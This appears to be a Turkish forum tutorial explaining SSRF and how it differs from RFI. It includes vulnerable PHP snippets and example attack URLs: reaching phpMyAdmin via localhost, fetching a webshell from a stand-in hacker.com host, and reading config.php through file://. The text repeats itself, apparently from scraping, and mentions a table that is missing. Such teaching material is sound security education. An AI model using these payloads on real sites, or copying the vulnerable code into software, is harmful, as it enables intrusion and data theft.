Merhaba dostlar, tekrardan karşınızdayım. Size SSRF ile ilgili bir konu açmak istedim ama tarzı biraz farklı olacak, şöyle ki ben RFI ve SSRF güvenlik açıklarını hep karıştırdım, yazılım okuyunca anlıyorsun farklarını ama backend developer olmayan anlamaz. Konulara başlarken fark etmişsinizdir sürekli muhabbet tarzında başlıyorum aslında burada amacım yeni başlayan kardeşlerime uyarıda bulunmak, bir şeyler başarmak istiyorsanız yazılım öğrenin. Bir sistemin nasıl çalıştığını bilmeden hiç bir zaman gerçek anlamda pentester olamazsınız, bir papağan "babacık" der, anlamını bildiğinden mi yoksa onu ezberlediğinden mi ?
Server-Side Request Forgery (SSRF) Nedir ?
SSRF sunucuyu kullanarak başka bir sunucuya veya servise (dış ağda ya da iç ağda) istek yapmasına olanak tanır. Bu istekler genellikle HTTP, FTP, SMB gibi protokollerle yapılır.
İnternete göre kısaca tanım bu, peki bu tanım sizce de çok eksik değil mi ? Peki, RFI ile ne farkı var dersiniz o zaman. Ben bugün bu farkları ve potansiyel olarak bir web sitesini SSRF ile nasıl tabiri caizse 'hackleyebiliriz' onu anlatacağım.
RFI Nedir ?
RFI, uzaktaki bir dosyanın sunucuya dahil edilmesine (include edilmesine) olanak tanıyan bir güvenlik açığıdır. Saldırgan, uzaktaki bir dosyayı (örneğin, zararlı bir PHP betiği) sunucunun mevcut uygulama koduna dahil ederek çalıştırabilir.
SSRF
Yukarıdaki örnekte gördüğünüz gibi URL üzerinden sunucu üzerinden bir local bağlantı ya da dışarıya bağlantı sağlıyoruz. Bunun çıkardığı çok önemli açıklar var, bunlardan bahsedeceğim.
Hedef sitemizde bir mail giriş ekranı var ve giriş yap dediğimizde GET isteği gönderiyor. Peki bu istek filtreli değilse, bir güvenlik açığı oluşturuyorsa ne yapacağız.
Örnek bir filtrelemeyi aşağıya koydum tabi bu filtrelemeden daha fazlasına ihtiyacınız var bu şekilde işe yaramaz, kafanızda canlansın diye koyuyorum.
Peki, SSRF ile bizim giremediğimiz ama sunucunun kendi local ağı üzerinden girebildiği bir yere bağlanmak istersek ne olur ? Örneğin, phpmyadmin.
Gördüğünüz gibi PhpMyAdmin'e dışardan ulaşmak istersek büyük bir ihtimalle 403 - Forbidden gelecektir. Peki, SSRF ile bunun önüne nasıl geçeriz,
Eğer phpMyAdmin, belirli bir IP adresine veya kullanıcıya izin veren bir yapılandırmaya sahipse, SSRF ile bu erişim sağlanabilir. Bu demek oluyor ki PhpMyAdmin kurulduğu sunucunun IP Adresine şifre sormadan erişim izni veriyorsa herhangi bir kullanıcı adı ve şifre erişimi olmadan girebiliriz. Kısaca SSRF PhpMyAdmin'e erişim sağlamak için yeterli değil PhpMyAdmin zayıf yapılandırılmış olmalı.
SSRF ile yapılabilecek başka sızma girişimleri :
example.com/file.php?=http://hacker.com/webshell.php
example.com/file.php?=file:///www/config.php
Burada önemli olan gördüğünüz gibi arka planda bulunan PHP betiğinin ne yapmak istediğidir. Yerel dosyaya erişirken başka sunucudan shell çekemezsiniz.
RFI ve SSRF Farkları
Aşağıdaki tabloyu okuyarak umarım edinmek istediğiniz bilgiyi öğrenebilirsiniz.
Evet dostlar, bir konunun daha sonuna geldik. Olabildiğince sade ve anlaşılır olmaya çalışıyorum çünkü bir çok kaynak okunduktan sonra aklınızda hiç bir şey bırakmıyor. Mantığını öğrenirseniz gerisi zaten gelir, neler yapılabileceğini daha da nasıl geliştirebileceğinizi kendiniz düşünerek bile bulabilirsiniz.
Buraya kadar okuduysanız teşekkürler
Server-Side Request Forgery (SSRF) Nedir ?
SSRF sunucuyu kullanarak başka bir sunucuya veya servise (dış ağda ya da iç ağda) istek yapmasına olanak tanır. Bu istekler genellikle HTTP, FTP, SMB gibi protokollerle yapılır.
İnternete göre kısaca tanım bu, peki bu tanım sizce de çok eksik değil mi ? Peki, RFI ile ne farkı var dersiniz o zaman. Ben bugün bu farkları ve potansiyel olarak bir web sitesini SSRF ile nasıl tabiri caizse 'hackleyebiliriz' onu anlatacağım.
RFI Nedir ?
RFI, uzaktaki bir dosyanın sunucuya dahil edilmesine (include edilmesine) olanak tanıyan bir güvenlik açığıdır. Saldırgan, uzaktaki bir dosyayı (örneğin, zararlı bir PHP betiği) sunucunun mevcut uygulama koduna dahil ederek çalıştırabilir.
SSRF
PHP:
$req = file_get_contents($baglanti);
Yukarıdaki örnekte gördüğünüz gibi URL üzerinden sunucu üzerinden bir local bağlantı ya da dışarıya bağlantı sağlıyoruz. Bunun çıkardığı çok önemli açıklar var, bunlardan bahsedeceğim.
- SSRF, ile kişi hedef sunucunun iç ağındaki hizmetlere (örneğin, http://localhost:8080 veya http://192.168.1.100:80) erişim sağlamasına olanak tanır. Bu, iç sistemlerdeki zayıflıkları keşfetmek veya kötü niyetli eylemler gerçekleştirmek için kullanılabilir.
- Kişi sunucu üzerindeki bir SSRF açığını kullanarak phpMyAdmin, Adminer veya başka bir veritabanı yönetim aracına erişim sağlayabilir. Eğer bu araçların yetkilendirilmesi yoksa, saldırgan veritabanı üzerinde sorgular çalıştırabilir veya verileri dışarı alabilir.
- Eğer sunucu, belirli bir dış API'ye erişim için yetkilendirme bilgilerini saklıyorsa, SSRF açığı kullanılarak bu API'ye istek yapılabilir. Bu, saldırgana dış kaynaklardan veri çekme veya başka yetkisiz işlemler yapma imkanı tanıyabilir.
Hedef sitemizde bir mail giriş ekranı var ve giriş yap dediğimizde GET isteği gönderiyor. Peki bu istek filtreli değilse, bir güvenlik açığı oluşturuyorsa ne yapacağız.
Örnek bir filtrelemeyi aşağıya koydum tabi bu filtrelemeden daha fazlasına ihtiyacınız var bu şekilde işe yaramaz, kafanızda canlansın diye koyuyorum.
Kod:
$baglanti = $_GET['baglanti'];
if (preg_match('/^https?:\/\//', $baglanti)) {
$res = file_get_contents($baglanti);
} else {
die('Sadece HTTP ve HTTPS isteği izinlidir');
}
Peki, SSRF ile bizim giremediğimiz ama sunucunun kendi local ağı üzerinden girebildiği bir yere bağlanmak istersek ne olur ? Örneğin, phpmyadmin.
Gördüğünüz gibi PhpMyAdmin'e dışardan ulaşmak istersek büyük bir ihtimalle 403 - Forbidden gelecektir. Peki, SSRF ile bunun önüne nasıl geçeriz,
Kod:
example.com/istek.php?baglanti=http://localhost/phpmyadmin
Eğer phpMyAdmin, belirli bir IP adresine veya kullanıcıya izin veren bir yapılandırmaya sahipse, SSRF ile bu erişim sağlanabilir. Bu demek oluyor ki PhpMyAdmin kurulduğu sunucunun IP Adresine şifre sormadan erişim izni veriyorsa herhangi bir kullanıcı adı ve şifre erişimi olmadan girebiliriz. Kısaca SSRF PhpMyAdmin'e erişim sağlamak için yeterli değil PhpMyAdmin zayıf yapılandırılmış olmalı.
SSRF ile yapılabilecek başka sızma girişimleri :
- Yerel dosyalara erişebilirsiniz.
PHP:
$file_path = $_GET['file'];
$content = file_get_contents($file_path);
echo $content;
- Web Shell çekebilirsiniz.
PHP:
$baglanti = $_GET['baglanti'];
file_put_contents('file.php', file_get_contents($baglanti));
example.com/file.php?=http://hacker.com/webshell.php
- Data okuyabilirsiniz
PHP:
$file_path = $_GET['file'];
// Önemli bir dosyayı okuma
$content = file_get_contents($file_path);
echo $content;
example.com/file.php?=file:///www/config.php
Burada önemli olan gördüğünüz gibi arka planda bulunan PHP betiğinin ne yapmak istediğidir. Yerel dosyaya erişirken başka sunucudan shell çekemezsiniz.
RFI ve SSRF Farkları
Aşağıdaki tabloyu okuyarak umarım edinmek istediğiniz bilgiyi öğrenebilirsiniz.
Evet dostlar, bir konunun daha sonuna geldik. Olabildiğince sade ve anlaşılır olmaya çalışıyorum çünkü bir çok kaynak okunduktan sonra aklınızda hiç bir şey bırakmıyor. Mantığını öğrenirseniz gerisi zaten gelir, neler yapılabileceğini daha da nasıl geliştirebileceğinizi kendiniz düşünerek bile bulabilirsiniz.
Buraya kadar okuduysanız teşekkürler




